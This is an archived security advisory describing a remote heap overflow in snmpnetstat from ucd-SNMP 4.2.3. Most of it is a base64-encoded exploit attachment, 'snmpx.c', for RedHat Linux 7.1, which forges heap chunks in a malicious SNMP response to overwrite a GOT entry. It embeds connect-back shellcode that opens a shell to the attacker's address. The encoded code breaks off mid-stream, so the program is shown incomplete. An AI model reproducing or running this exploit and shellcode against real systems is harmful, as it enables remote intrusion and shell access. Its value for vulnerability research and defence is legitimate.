TUCoPS :: Unix :: General :: unix4969.htm


TUCoPS :: Unix :: General :: unix4969.htm

snmpnetstat remote heap overflow
4th Jan 2002 [SBWID-4969]
COMMAND
	snmpnetstat remote heap overflow
SYSTEMS AFFECTED
	ucd-SNMP-4.2.3
PROBLEM
	In Axioma Security Research advisory [www.axiomasistemas.com], thanks
	to Juan M. de la Torre :
	
	When snmpnetstat request the list of interfaces, it first allocs an
	array to hold all the structs, one for each interface fetched. Then, it
	sends a getnextrequest PDU to the server requesting ifindex, ifaddr and
	ifnetmask, and saves this values in the first null entry of the array.
	Then it sends another getnextrequest PDU requesting ifindex, and some
	other variables. If the ifindex value returned by server is different
	from the one previusly fetched, and the interface currently being
	scanned is the last, the memory located after the array will be
	overwritten with the variables returned by server, causing a heap
	overflow.
	
	 RedHat Linux 7.1 exploit
	 ========================
	 
	Content-Type: application/octet-stream; name=\"snmpx.c\"
	Content-Transfer-Encoding: base64
	Content-Disposition: attachment; filename=\"snmpx.c\"
	
	Ci8qCiAqIFByb29mIG9mIGNvbmNlcHQgeHBsb2l0IGZvciBzbm1wbmV0c3Rh
	dCAgCiAqCiAqICBUaGlzIGNhdXNlcyBzbm1wbmV0c3RhdCB0byBvdmVyd3Jp
	dGUgdGhlIEdPVCBlbnRyeQogKiBvZiBlbmRwcm90b2VudCB3aXRoIHRoZSBh
	ZGRyZXNzIG9mIGEgY29ubmVjdC1iYWNrCiAqIHNoZWxsY29kZS4gVGhlIHNo
	ZWxsY29kZSBoYXMgc29tZSBzaXplIGxpbWl0YXRpb25zLgogKgogKiAgVVNF
	IFRISVMgQVQgWU9VUiBPV04gUklTSwogKgogKiAgU2VuZCBjb21tZW50cyB0
	byBKdWFuIE0uIGRlIGxhIFRvcnJlIC8gam10b3JyZUBheGlvbWFzaXN0ZW1h
	cy5jb20KICogIGh0dHA6Ly93d3cuYXhpb21hc2lzdGVtYXMuY29tCiAqLwoK
	I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1
	ZGUgPHN0ZGFyZy5oPgojaW5jbHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRl
	IDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRlIDxzeXMvcG9sbC5oPgojaW5jbHVk
	ZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVkZSA8YXJwYS9pbmV0Lmg+CiNpbmNs
	dWRlIDxlcnJuby5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDx1
	bmlzdGQuaD4KI2luY2x1ZGUgPG5ldGRiLmg+CiNpbmNsdWRlIDxnZXRvcHQu
	aD4KCi8qCiAqIENvbnN0YW50cwogKi8KI2RlZmluZSBBU05fU0VRVUVOQ0Ug
	ICAgICAweDEwCiNkZWZpbmUgQVNOX0NPTlNUUlVDVE9SICAgMHgyMAojZGVm
	aW5lIEFTTl9JTlRFR0VSICAgICAgIDB4MDIKI2RlZmluZSBBU05fT0NURVRf
	U1RSSU5HICAweDA0CiNkZWZpbmUgQVNOX0NPTlRFWFQgICAgICAgMHg4MAoj
	ZGVmaW5lIEFTTl9PQkpFQ1RJRCAgICAgIDB4MDYKCiNkZWZpbmUgU05NUF9H
	RVRSRVFVRVNUICAgICAoQVNOX0NPTlNUUlVDVE9SIHwgQVNOX0NPTlRFWFQp
	CiNkZWZpbmUgU05NUF9HRVRORVhUUkVRVUVTVCAoQVNOX0NPTlNUUlVDVE9S
	IHwgQVNOX0NPTlRFWFQgfCAweDEpCiNkZWZpbmUgU05NUF9HRVRSRVNQT05T
	RSAgICAoQVNOX0NPTlNUUlVDVE9SIHwgQVNOX0NPTlRFWFQgfCAweDIpCgpl
	bnVtIGV4cGxvaXRfc3RhdGVzIAp7IAoJU1RBVEVfTElTVEVOSU5HLCBTVEFU
	RV9RVUlUVElORywgU1RBVEVfV0FJVElOR19HRVRORVhUMSwKCVNUQVRFX1dB
	SVRJTkdfR0VUTkVYVDIsIFNUQVRFX1dBSVRJTkdfQ09OTkVDVAp9OwoKLyoK
	ICogR2xvYmFscyAoSSBrbm93IGdsb2JhbHMgc3Vja3MsIGJ1dC4uLikKICov
	CnN0YXRpYyBpbnQgc3RhdGU7CnN0YXRpYyBpbnQgc2Vzc2lvbl9pZDsKc3Rh
	dGljIHN0cnVjdCBzb2NrYWRkcl9pbiBjbGllbnQ7CnN0YXRpYyB1bnNpZ25l
	ZCBzaG9ydCBiaW5kcG9ydCA9IDMyMzQ7CnN0YXRpYyBpbnQgdXNlX2JpbmRf
	YWRkciA9IDA7CnN0YXRpYyB1bnNpZ25lZCBsb25nIGJpbmRfYWRkcjsKCi8q
	CiAqIDEwMSBieXRlcyBjb25uZWN0LWJhY2sgc2hlbGxjb2RlIAogICAgICAg
	IHhvcmwgJWVheCwgJWVheAogICAgICAgIHB1c2hsICVlYXggICAgICAgICAg
	ICAjIHB1c2ggSVBQUk9UT19JUAogICAgICAgIGluYyAlZWF4CiAgICAgICAg
	cHVzaGwgJWVheCAgICAgICAgICAgICMgcHVzaCBTT0NLX1NUUkVBTQogICAg
	ICAgIGluYyAlZWF4CiAgICAgICAgam1wIHNraXAKICAgICAgICBub3AKICAg
	ICAgICBub3AKICAgICAgICBub3AKICAgICAgICBub3AKICAgICAgICBub3AK
	ICAgICAgICBub3AKICAgICAgICBub3AKICAgICAgICBub3AKc2tpcDoKICAg
	ICAgICBwdXNobCAlZWF4ICAgICAgICAgICAjIHB1c2ggQUZfSU5FVAogICAg
	ICAgIG1vdmwgJWVzcCwgJWVjeAogICAgICAgIHhvcmwgJWVieCwgJWVieAog
	ICAgICAgIG1vdmIgJDB4MSwgJWJsICAgICAgICMgU1lTX1NPQ0tFVAogICAg
	ICAgIG1vdmIgJDEwMiwgJWFsICAgICAgICMgX19OUl9zb2NrZXRjYWxsCiAg
	ICAgICAgaW50ICQweDgwCiAgICAgICAgbW92bCAlZWF4LCAlZWR4ICAgICAg
	IyBzYXZlIGZkIGluIGVheCBhbmQgZWR4CiAgICAgICAgbW92YiAkMHgzLCAl
	YmwgICAgICAgIyBTWVNfQ09OTkVDVAogICAgICAgIG1vdmwgJWVheCwgKCVl
	YnApICAgICMgcHV0IGZkIGFzIGZpcnN0IGFyZ3VtZW50CiAgICAgICAgcHVz
	aGwgJDB4MDEwMDAwN2YgICAgIyBmaWxsIHN0cnVjdCBzb2NrYWRkcl9pbgog
	ICAgICAgIHB1c2hsICQweDAxMDEwMDAyCiAgICAgICAgbW92bCAlZXNwLCAw
	eDQoJWVicCkKICAgICAgICBtb3ZiICQxNiwgJWFsICAgICAgICAjIHNpemVv
	ZiBzdHJ1Y3Qgc29ja2FkZHJfaW4KICAgICAgICBtb3ZsICVlYXgsIDB4OCgl
	ZWJwKQogICAgICAgIG1vdmwgJWVicCwgJWVjeAogICAgICAgIG1vdmIgJDEw
	MiwgJWFsICAgICAgICMgX19OUl9zb2NrZXRjYWxsCiAgICAgICAgaW50ICQw
	eDgwCiAgICAgICAgZGVjYiAlYmwgIyAlZWJ4IGNvbnRhaW5zICcyJwogICAg
	ICAgIG1vdnpibCAlZGwsICVlY3gKbG9vcDE6CiAgICAgICAgbW92YiAkNiwg
	JWFsICAgICAgICAgIyBfX05SX2Nsb3NlCiAgICAgICAgaW50ICQweDgwCiAg
	ICAgICAgeGNoZ2IgJWNsLCAlYmwKICAgICAgICBtb3ZiICQ2MywgJWFsICAg
	ICAgICAjIF9fTlJfZHVwMgogICAgICAgIGludCAkMHg4MAogICAgICAgIHhj
	aGdiICVjbCwgJWJsCiAgICAgICAgZGVjYiAlYmwKICAgICAgICBqZ2UgbG9v
	cDEKICAgICAgICBwdXNobCAkMHgwMDY4NzMyZgogICAgICAgIHB1c2hsICQw
	eDZlNjk2MjJmCiAgICAgICAgbW92bCAlZXNwLCAlZWJ4CiAgICAgICAgeG9y
	bCAlZWR4LCAlZWR4CiAgICAgICAgcHVzaGwgJWVkeAogICAgICAgIHB1c2hs
	ICVlYngKICAgICAgICBtb3ZsICVlc3AsICVlY3gKICAgICAgICBtb3ZiICQw
	eGIsICVhbCAgICAgICAjIF9fTlJfZXhlY3ZlCiAgICAgICAgaW50ICQweDgw
	CiAqLwpzdGF0aWMgdV9jaGFyIHNoZWxsY29kZVtdID0gewogICAgICAgIDB4
	MzEsIDB4YzAsIDB4NTAsIDB4NDAsIDB4NTAsIDB4NDAsIDB4ZWIsIDB4MDgs
	IDB4OTAsIDB4OTAsIDB4OTAsCiAgICAgICAgMHg5MCwgMHg5MCwgMHg5MCwg
	MHg5MCwgMHg5MCwgMHg1MCwgMHg4OSwgMHhlMSwgMHgzMSwgMHhkYiwgMHhi
	MywKICAgICAgICAweDAxLCAweGIwLCAweDY2LCAweGNkLCAweDgwLCAweDg5
	LCAweGMyLCAweGIzLCAweDAzLCAweDg5LCAweDQ1LAogICAgICAgIDB4MDAs
	IDB4NjgsIDB4N2YsIDB4MDAsIDB4MDAsIDB4MDEsIDB4NjgsIDB4MDIsIDB4
	MDAsIDB4MDEsIDB4MDEsCiAgICAgICAgMHg4OSwgMHg2NSwgMHgwNCwgMHhi
	MCwgMHgxMCwgMHg4OSwgMHg0NSwgMHgwOCwgMHg4OSwgMHhlOSwgMHhiMCwK
	ICAgICAgICAweDY2LCAweGNkLCAweDgwLCAweGZlLCAweGNiLCAweDBmLCAw
	eGI2LCAweGNhLCAweGIwLCAweDA2LCAweGNkLAogICAgICAgIDB4ODAsIDB4
	ODYsIDB4Y2IsIDB4YjAsIDB4M2YsIDB4Y2QsIDB4ODAsIDB4ODYsIDB4Y2Is
	IDB4ZmUsIDB4Y2IsCiAgICAgICAgMHg3ZCwgMHhmMCwgMHg2OCwgMHgyZiwg
	MHg3MywgMHg2OCwgMHgwMCwgMHg2OCwgMHgyZiwgMHg2MiwgMHg2OSwKICAg
	ICAgICAweDZlLCAweDg5LCAweGUzLCAweDMxLCAweGQyLCAweDUyLCAweDUz
	LCAweDg5LCAweGUxLCAweGIwLCAweDBiLAogICAgICAgIDB4Y2QsIDB4ODAK
	fTsKCnN0YXRpYyB2b2lkIF9fYXR0cmlidXRlX18gKChub3JldHVybikpCmZh
	dGFsICh1X2NoYXIgKmZtdCwgLi4uKQp7Cgl2YV9saXN0IGFwOwoKCXZhX3N0
	YXJ0IChhcCwgZm10KTsKCXZmcHJpbnRmIChzdGRlcnIsIGZtdCwgYXApOwoJ
	dmFfZW5kIChhcCk7CgoJZXhpdCAoRVhJVF9GQUlMVVJFKTsKfQoKLyoKICog
	QVNOLjEgY29kZQogKi8Kc3RhdGljIHVfY2hhciAqCmFzbl9hcHBlbmRfbGVu
	ICh1X2NoYXIgKnBrdCwgaW50IGxlbikKewoJaWYgKGxlbiA8PSAweDdmKQoJ
	ewoJCS8qIHNob3J0IGxlbiAqLwoJCSpwa3QrKyA9ICh1X2NoYXIpIGxlbjsK
	CQlyZXR1cm4gKHBrdCk7Cgl9CgoJaWYgKGxlbiA8PSAweGZmKQoJewoJCSpw
	a3QrKyA9IDB4ODE7CgkJKnBrdCsrID0gKHVfY2hhcikgKGxlbik7CgkJcmV0
	dXJuIChwa3QpOwoJfQoKCSpwa3QrKyA9IDB4ODI7CgkqcGt0KysgPSAodV9j
	aGFyKSAoKGxlbiAmIDB4ZmYwMCkgPj4gOCk7CgkqcGt0KysgPSAodV9jaGFy
	KSAobGVuICYgMHhmZik7CgoJcmV0dXJuIChwa3QpOwp9CgpzdGF0aWMgdV9j
	aGFyICoKYXNuX2FwcGVuZF9zZXF1ZW5jZSAodV9jaGFyICpwa3QsIGludCBs
	ZW4pCnsKCSpwa3QrKyA9IChBU05fU0VRVUVOQ0UgfCBBU05fQ09OU1RSVUNU
	T1IpOwoJcGt0ID0gYXNuX2FwcGVuZF9sZW4gKHBrdCwgbGVuKTsKCXJldHVy
	biAocGt0KTsKfQoKc3RhdGljIHVfY2hhciAqCmFzbl9hcHBlbmRfb2JqZWN0
	aWQgKHVfY2hhciAqcGt0LCB1X2NoYXIgKnN0ciwgaW50IG5sZW4pCnsKCWlu
	dCBpID0gMDsKCQoJKnBrdCsrID0gQVNOX09CSkVDVElEOwoJcGt0ID0gYXNu
	X2FwcGVuZF9sZW4gKHBrdCwgbmxlbik7CgkKCXdoaWxlIChubGVuLS0pCgkJ
	KnBrdCsrID0gc3RyW2krK107CgoJcmV0dXJuIChwa3QpOwp9CgpzdGF0aWMg
	dV9jaGFyICoKYXNuX2FwcGVuZF9vY3RldF9zdHJpbmcgKHVfY2hhciAqcGt0
	LCB1X2NoYXIgKnN0ciwgaW50IG5sZW4pCnsKCWludCBpID0gMDsKCQoJKnBr
	dCsrID0gQVNOX09DVEVUX1NUUklORzsKCXBrdCA9IGFzbl9hcHBlbmRfbGVu
	IChwa3QsIG5sZW4pOwoJCgl3aGlsZSAobmxlbi0tKQoJCSpwa3QrKyA9IHN0
	cltpKytdOwoKCXJldHVybiAocGt0KTsKfQoKc3RhdGljIHVfY2hhciAqCmFz
	bl9hcHBlbmRfaW50ZWdlciAodV9jaGFyICpwa3QsIHVuc2lnbmVkIGxvbmcg
	biwgaW50IG5sZW4pCnsKCWlmIChubGVuICE9IDQgJiYgbmxlbiAhPSAyICYm
	IG5sZW4gIT0gMSkKCQlmYXRhbCAoImVycm9yOiBiYWQgbmxlbiBpbiBhc25f
	YXBwZW5kX2ludGVnZXIoKTogJWlcbiIsCgkJCQlubGVuKTsKCgkqcGt0Kysg
	PSBBU05fSU5URUdFUjsKCSpwa3QrKyA9ICh1X2NoYXIpIChubGVuICYgMHhm
	Zik7CgoJc3dpdGNoIChubGVuKQoJewoJY2FzZSAxOgoJCSpwa3QrKyA9ICh1
	X2NoYXIpIChuICYgMHhmZik7CgkJYnJlYWs7CgoJY2FzZSAyOgoJCSpwa3Qr
	KyA9ICh1X2NoYXIpICgobiAmIDB4ZmYwMCkgPj4gOCk7CgkJKnBrdCsrID0g
	KHVfY2hhcikgKG4gJiAweGZmKTsKCQlicmVhazsKCQkKCWNhc2UgNDoKCQkq
	cGt0KysgPSAodV9jaGFyKSAoKG4gJiAweGZmMDAwMDAwKSA+PiAyNCk7CgkJ
	KnBrdCsrID0gKHVfY2hhcikgKChuICYgMHhmZjAwMDApID4+IDE2KTsKCQkq
	cGt0KysgPSAodV9jaGFyKSAoKG4gJiAweGZmMDApID4+IDgpOwoJCSpwa3Qr
	KyA9ICh1X2NoYXIpIChuICYgMHhmZik7CgkJYnJlYWs7Cgl9CgoJcmV0dXJu
	IChwa3QpOwp9CgpzdGF0aWMgdV9jaGFyICoKYXNuX2dldF9vY3RldF9zdHJp
	bmcgKHVfY2hhciAqcGt0LCB1X2NoYXIgKmRzdCkKewoJaW50IGxlbiwgaSA9
	IDA7CgoJaWYgKCpwa3QrKyAhPSBBU05fT0NURVRfU1RSSU5HKQoJCWZhdGFs
	ICgiZXJyb3I6IGVycm9yIHdoaWxlIHRhbGtpbmcgdG8gY2xpZW50XG4iKTsK
	CglsZW4gPSAqcGt0Kys7CgoJd2hpbGUgKGxlbi0tKQoJCWRzdFtpKytdID0g
	KnBrdCsrOwoKCXJldHVybiAocGt0KTsKfQoKc3RhdGljIHVfY2hhciAqCmFz
	bl9nZXRfb2JqZWN0aWQgKHVfY2hhciAqcGt0LCB1X2NoYXIgKmRzdCkKewoJ
	aW50IGxlbiwgaSA9IDA7CgoJaWYgKCpwa3QrKyAhPSBBU05fT0JKRUNUSUQp
	CgkJZmF0YWwgKCJlcnJvcjogZXJyb3Igd2hpbGUgdGFsa2luZyB0byBjbGll
	bnRcbiIpOwoKCWxlbiA9ICpwa3QrKzsKCgl3aGlsZSAobGVuLS0pCgkJZHN0
	W2krK10gPSAqcGt0Kys7CgoJcmV0dXJuIChwa3QpOwp9CgpzdGF0aWMgdV9j
	aGFyICoKYXNuX2dldF9pbnRlZ2VyICh1X2NoYXIgKnBrdCwgaW50ICpwZHN0
	KQp7CglpbnQgbGVuLCBuYml0cywgZHN0OwoJCglpZiAoKnBrdCsrICE9IEFT
	Tl9JTlRFR0VSKQoJCWZhdGFsICgiZXJyb3I6IGVycm9yIHdoaWxlIHRhbGtp
	bmcgdG8gY2xpZW50XG4iKTsKCglsZW4gPSAqcGt0Kys7CglpZiAobGVuICE9
	IDEgJiYgbGVuICE9IDIgJiYgbGVuICE9IDQpCgkJZmF0YWwgKCJlcnJvcjog
	aW5jb3JyZW50IGludGVnZXIgbGVuIHJlY2VpdmVkIGZyb20gY2xpZW50XG4i
	KTsKCQkKCXN3aXRjaCAobGVuKQoJewoJY2FzZSA0OgoJCW5iaXRzID0gMjQ7
	IGJyZWFrOwoJY2FzZSAyOgoJCW5iaXRzID0gODsgYnJlYWs7CgljYXNlIDE6
	CgkJbmJpdHMgPSAwOyBicmVhazsKCX0KCglkc3QgPSAwOwoJd2hpbGUgKGxl
	bi0tKQoJewoJCWRzdCB8PSAoKCpwa3QrKykgPDwgbmJpdHMpOwoJCW5iaXRz
	IC09IDg7Cgl9CgoJKnBkc3QgPSBkc3Q7CgoJcmV0dXJuIChwa3QpOwp9Cgpz
	dGF0aWMgdW5zaWduZWQgbG9uZwpnZXRfc291cmNlX2FkZHIgKHN0cnVjdCBz
	b2NrYWRkcl9pbiAqc19pbikKewoJaW50IHNkLCBzbGVuOwoJc3RydWN0IHNv
	Y2thZGRyX2luIG1lOwoJCglpZiAoKHNkID0gc29ja2V0IChBRl9JTkVULCBT
	T0NLX0RHUkFNLCBJUFBST1RPX1VEUCkpIDwgMCkKCQlmYXRhbCAoInNvY2tl
	dCgpOiAlc1xuIiwgc3RyZXJyb3IgKGVycm5vKSk7CgkKCWlmIChjb25uZWN0
	IChzZCwgKHN0cnVjdCBzb2NrYWRkciAqKSBzX2luLCBzaXplb2YgKHN0cnVj
	dCBzb2NrYWRkcl9pbikpIDwgMCkKCQlmYXRhbCAoImNvbm5lY3QoKTogJXNc
	biIsIHN0cmVycm9yIChlcnJubykpOwoKCXNsZW4gPSBzaXplb2YgKG1lKTsK
	CWlmIChnZXRzb2NrbmFtZSAoc2QsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJm1l
	LCAmc2xlbikgPCAwKQoJCWZhdGFsICgiZ2V0c29ja25hbWUoKTogJXNcbiIs
	IHN0cmVycm9yIChlcnJubykpOwoKCWNsb3NlIChzZCk7CgkKCXJldHVybiAo
	KHVuc2lnbmVkIGxvbmcpIG1lLnNpbl9hZGRyLnNfYWRkcik7Cn0KCnR5cGVk
	ZWYgc3RydWN0CnsKCXVuc2lnbmVkIGxvbmcgcHNpemU7Cgl1bnNpZ25lZCBs
	b25nIHNpemU7IC8qIDB4MSAtPiBQUkVWX0lOVVNFICovCgl1bnNpZ25lZCBs
	b25nIGZkOwoJdW5zaWduZWQgbG9uZyBiazsKfSBjaHVua190OwoKI2RlZmlu
	ZSBQUkVWX0lOVVNFIDB4MQoKc3RhdGljIHVfY2hhciAqCm1ha2VfZXZpbF9z
	dHIgKGludCAqcGxlbikKewoJaW50IGxlbjsKCXN0YXRpYyB1X2NoYXIgYnVm
	W0JVRlNJWl07CgljaHVua190ICpjOwoJdW5zaWduZWQgbG9uZyAqaXA7CQoJ
	dW5zaWduZWQgc2hvcnQgKnBvcnQ7CgoJbWVtc2V0IChidWYsIDB4OTAsIEJV
	RlNJWik7CgoJYyA9IChjaHVua190ICopIChidWYgLSA0KTsKCgkvKiBsZWF2
	ZSBwc2l6ZSBvZiBmaXJzdCBjaHVuayB1bnVzZWQgKi8KCWMtPnNpemUgPSAw
	eDE2VUw7CgljLT5mZCA9IDB4ODA3ZGJlODsKCWMtPmJrID0gMHg4MDUwZGYw
	IC0gODsKCQoJYysrOwoJYy0+c2l6ZSA9IDBVTDsgLyogemVybyBQUkVWX0lO
	VVNFIGJpdCAqLwoKCWxlbiA9IDEyICsgMTYgKyAxNCArIHNpemVvZiAoc2hl
	bGxjb2RlKTsKCW1lbWNweSAoYnVmICsgMTYgKyA0LCBzaGVsbGNvZGUsIHNp
	emVvZiAoc2hlbGxjb2RlKSk7CgoJaXAgPSAodW5zaWduZWQgbG9uZyAqKSAo
	YnVmICsgMTYgKyA0ICsgMzUpOwoJKmlwID0gKHVzZV9iaW5kX2FkZHIgPyBi
	aW5kX2FkZHIgOiBnZXRfc291cmNlX2FkZHIgKCZjbGllbnQpKTsKCglwb3J0
	ID0gKHVuc2lnbmVkIHNob3J0ICopIChidWYgKyAxNiArIDQgKyA0Mik7Cgkq
	cG9ydCA9IGh0b25zIChiaW5kcG9ydCk7CgoJKnBsZW4gPSBsZW47CglyZXR1
	cm4gKGJ1Zik7Cn0KCi8qCiAqIFNOTVAgY29kZQogKi8Kc3RhdGljIHZvaWQK
	c25tcF93YWl0aW5nX2dldG5leHQyIChpbnQgc2QsIHVfY2hhciAqYnVmKQp7
	Cgl1X2NoYXIgKnB0ciA9IGJ1ZjsKCWludCB2ZXJzaW9uLCBmb287Cgl1X2No
	YXIgY29tbVtCVUZTSVpdLCByZXNwW0JVRlNJWl07Cgl1X2NoYXIgb2lkc1sx
	MV1bQlVGU0laXTsKCWludCBpLCBsZW4sIGV2aWxfc3RyX2xlbjsKCXVfY2hh
	ciAqZXZpbF9zdHIgPSBOVUxMOwoKICAgICAgICBpZiAoKnB0cisrICE9IChB
	U05fU0VRVUVOQ0UgfCBBU05fQ09OU1RSVUNUT1IpKQogICAgICAgICAgICAg
	ICAgZmF0YWwgKCJlcnJvcjogcHJvdG9jb2wgZXJyb3JcbiIpOwoKICAgICAg
	ICBwdHIgKz0gMjsKCiAgICAgICAgcHRyID0gYXNuX2dldF9pbnRlZ2VyIChw
	dHIsICZ2ZXJzaW9uKTsKICAgICAgICBpZiAodmVyc2lvbiAhPSAwKQogICAg
	ICAgICAgICAgICAgZmF0YWwgKCJlcnJvcjogY2xpZW50IHVzZXMgYSB2ZXJz
	aW9uIGRpZmZlcmVudCBmcm9tIDBcbiIpOwoKICAgICAgICBtZW1zZXQgKGNv
	bW0sIDAsIHNpemVvZiAoY29tbSkpOwogICAgICAgIHB0ciA9IGFzbl9nZXRf
	b2N0ZXRfc3RyaW5nIChwdHIsIGNvbW0pOwoKICAgICAgICBpZiAoKnB0cisr
	ICE9IFNOTVBfR0VUTkVYVFJFUVVFU1QpCiAgICAgICAgICAgICAgICBmYXRh
	bCAoImVycm9yOiBwcm90b2NvbCBlcnJvclxuIik7CgogICAgICAgIHB0ciAr
	PSAyOyAvKiBza2lwIGxlbiAqLwoKICAgICAgICBwdHIgPSBhc25fZ2V0X2lu
	dGVnZXIgKHB0ciwgJnNlc3Npb25faWQpOwoKICAgICAgICBwdHIgPSBhc25f
	Z2V0X2ludGVnZXIgKHB0ciwgJmZvbyk7CiAgICAgICAgcHRyID0gYXNuX2dl
	dF9pbnRlZ2VyIChwdHIsICZmb28pOwoKICAgICAgICBpZiAoKnB0cisrICE9
	IChBU05fU0VRVUVOQ0UgfCBBU05fQ09OU1RSVUNUT1IpKQogICAgICAgICAg
	ICAgICAgZmF0YWwgKCJlcnJvcjogcHJvdG9jb2wgZXJyb3JcbiIpOwogICAg
	ICAgIHB0ciArPSAyOwoKCWZvciAoaSA9IDA7IGkgPCAxMTsgaSsrKQoJewoJ
	CWlmICgqcHRyKysgIT0gKEFTTl9TRVFVRU5DRSB8IEFTTl9DT05TVFJVQ1RP
	UikpCgkJCWZhdGFsICgiZXJyb3I6IHByb3RvY29sIGVycm9yXG4iKTsKCQlw
	dHIrKzsKCQlwdHIgPSBhc25fZ2V0X29iamVjdGlkIChwdHIsIG9pZHNbaV0p
	OwoJCXB0ciArPSAyOwoJfQoKICAgICAgICBtZW1zZXQgKHJlc3AsIDAsIHNp
	emVvZiAocmVzcCkpOwogICAgICAgIHB0ciA9IHJlc3A7CgkKCWV2aWxfc3Ry
	ID0gbWFrZV9ldmlsX3N0ciAoJmV2aWxfc3RyX2xlbik7CgoJLyogY2FsY3Vs
	YXRlIGxlbiBvZiB0aGUgcmVzcG9uc2UgKi8KCWxlbiA9IDMgKyAoMiArIHN0
	cmxlbiAoY29tbSkpICsgNCArIDYgKyAzICsgMyArIDQ7CglsZW4gKz0gKDEx
	ICogMTQpICsgNDAgKyBldmlsX3N0cl9sZW4gKyAyOwoKICAgICAgICBwdHIg
	PSBhc25fYXBwZW5kX3NlcXVlbmNlIChwdHIsIGxlbik7CiAgICAgICAgcHRy
	ID0gYXNuX2FwcGVuZF9pbnRlZ2VyIChwdHIsIDAsIDEpOwogICAgICAgIHB0
	ciA9IGFzbl9hcHBlbmRfb2N0ZXRfc3RyaW5nIChwdHIsIGNvbW0sIHN0cmxl
	biAoY29tbSkpOwogICAgIAoJKnB0cisrID0gU05NUF9HRVRSRVNQT05TRTsK
	CS8qIGNhbGN1bGF0ZSBsZW4gb2YgdGhlIGdldHJlc3BvbnNlIFBEVSAqLwoJ
	bGVuIC09ICgzICsgKDIgKyBzdHJsZW4gKGNvbW0pKSArIDQpOwoJcHRyID0g
	YXNuX2FwcGVuZF9sZW4gKHB0ciwgbGVuKTsKCiAgICAgICAgcHRyID0gYXNu
	X2FwcGVuZF9pbnRlZ2VyIChwdHIsIHNlc3Npb25faWQsIDQpOwogICAgICAg
	IHB0ciA9IGFzbl9hcHBlbmRfaW50ZWdlciAocHRyLCAwLCAxKTsKICAgICAg
	ICBwdHIgPSBhc25fYXBwZW5kX2ludGVnZXIgKHB0ciwgMCwgMSk7CgoJLyog
	Y2FsY3VsYXRlIGxlbiBvZiBkYXRhICovCglsZW4gLT0gKDYgKyAzICsgMyAr
	IDQpOwogICAgICAgIHB0ciA9IGFzbl9hcHBlbmRfc2VxdWVuY2UgKHB0ciwg
	bGVuKTsKCglmb3IgKGkgPSAwOyBpIDwgMTE7IGkrKykKCXsKCQlsZW4gPSAx
	MjsKCgkJb2lkc1tpXVs5XSsrOwoKCQlzd2l0Y2ggKG9pZHNbaV1bOF0pCgkJ
	ewoJCWNhc2UgMTogLyogaWZpbmRleCAqLwoJCQlsZW4gKz0gNDsKCQkJcHRy
	ID0gYXNuX2FwcGVuZF9zZXF1ZW5jZSAocHRyLCBsZW4pOwoJCQlwdHIgPSBh
	c25fYXBwZW5kX29iamVjdGlkIChwdHIsIG9pZHNbaV0sIDEwKTsKCQkJcHRy
	ID0gYXNuX2FwcGVuZF9pbnRlZ2VyIChwdHIsIDIsIDEpOwoJCQlicmVhazsK
	CgkJY2FzZSAyOiAvKiBpZm5hbWUgKi8KCQkJbGVuICs9IDMgKyBldmlsX3N0
	cl9sZW47CgkJCXB0ciA9IGFzbl9hcHBlbmRfc2VxdWVuY2UgKHB0ciwgbGVu
	KTsKCQkJcHRyID0gYXNuX2FwcGVuZF9vYmplY3RpZCAocHRyLCBvaWRzW2ld
	LCAxMCk7CgkJCXB0ciA9IGFzbl9hcHBlbmRfb2N0ZXRfc3RyaW5nIChwdHIs
	IGV2aWxfc3RyLCBldmlsX3N0cl9sZW4pOwoJCQlicmVhazsKCgkJY2FzZSA0
	OiAvKiBpZm10dSAqLwoJCWNhc2UgODogLyogaWZvcGVyc3RhdHVzICovCgkJ
	CWxlbiArPSA0OwoJCQlwdHIgPSBhc25fYXBwZW5kX3NlcXVlbmNlIChwdHIs
	IGxlbik7CgkJCXB0ciA9IGFzbl9hcHBlbmRfb2JqZWN0aWQgKHB0ciwgb2lk
	c1tpXSwgMTApOwoJCQlwdHIgPSBhc25fYXBwZW5kX2ludGVnZXIgKHB0ciwg
	MiwgMik7CgkJCWJyZWFrOwoKCQljYXNlIDB4YjogICAvKiBJTlVDQVNUUEtU
	UyAqLwoJCWNhc2UgMHhjOiAgIC8qIElOTlVDQVNUUEtUUyAqLwoJCWNhc2Ug
	MHhlOiAgIC8qIElORVJST1JTICovCgkJY2FzZSAweDExOiAgLyogT1VUVUNB
	U1RQS1RTICovCgkJY2FzZSAweDEyOiAgLyogT1VUTlVDQVNUUEtUUyAqLwoJ
	CWNhc2UgMHgxNDogIC8qIE9VVEVSUk9SUyAqLwoJCQlsZW4gKz0gNDsKCQkJ
	cHRyID0gYXNuX2FwcGVuZF9zZXF1ZW5jZSAocHRyLCBsZW4pOwoJCQlwdHIg
	PSBhc25fYXBwZW5kX29iamVjdGlkIChwdHIsIG9pZHNbaV0sIDEwKTsKCQkJ
	KnB0cisrID0gMHg0MTsKCQkJKnB0cisrID0gMjsKCQkJKnB0cisrID0gMTsK
	CQkJKnB0cisrID0gMTsKCQkJYnJlYWs7CgkJCQoJCWNhc2UgMHgxNTogIC8q
	IE9VVFFMRU4gKi8KCQkJbGVuICs9IDM7CgkJCXB0ciA9IGFzbl9hcHBlbmRf
	c2VxdWVuY2UgKHB0ciwgbGVuKTsKCQkJcHRyID0gYXNuX2FwcGVuZF9vYmpl
	Y3RpZCAocHRyLCBvaWRzW2ldLCAxMCk7CgkJCSpwdHIrKyA9IDB4NDI7CgkJ
	CSpwdHIrKyA9IDE7CgkJCSpwdHIrKyA9IDA7CgkJCWJyZWFrOwoJCX0KCX0K
	CiAgICAgICAgbGVuID0gKHB0ciAtIHJlc3ApOwoJCiAgICAgICAgaWYgKHNl
	bmR0byAoc2QsIHJlc3AsIGxlbiwgMCwgKHN0cnVjdCBzb2NrYWRkciAqKSAm
	Y2xpZW50LCBzaXplb2YgKGNsaWVudCkpICE9IGxlbikKICAgICAgICAgICAg
	ICAgIHBlcnJvciAoInNlbmR0bygpIiksIGV4aXQgKEVYSVRfRkFJTFVSRSk7
	CgogICAgICAgIHN0YXRlID0gU1RBVEVfV0FJVElOR19DT05ORUNUOwp9Cgpz
	dGF0aWMgdm9pZApzbm1wX3dhaXRpbmdfZ2V0bmV4dDEgKGludCBzZCwgdV9j
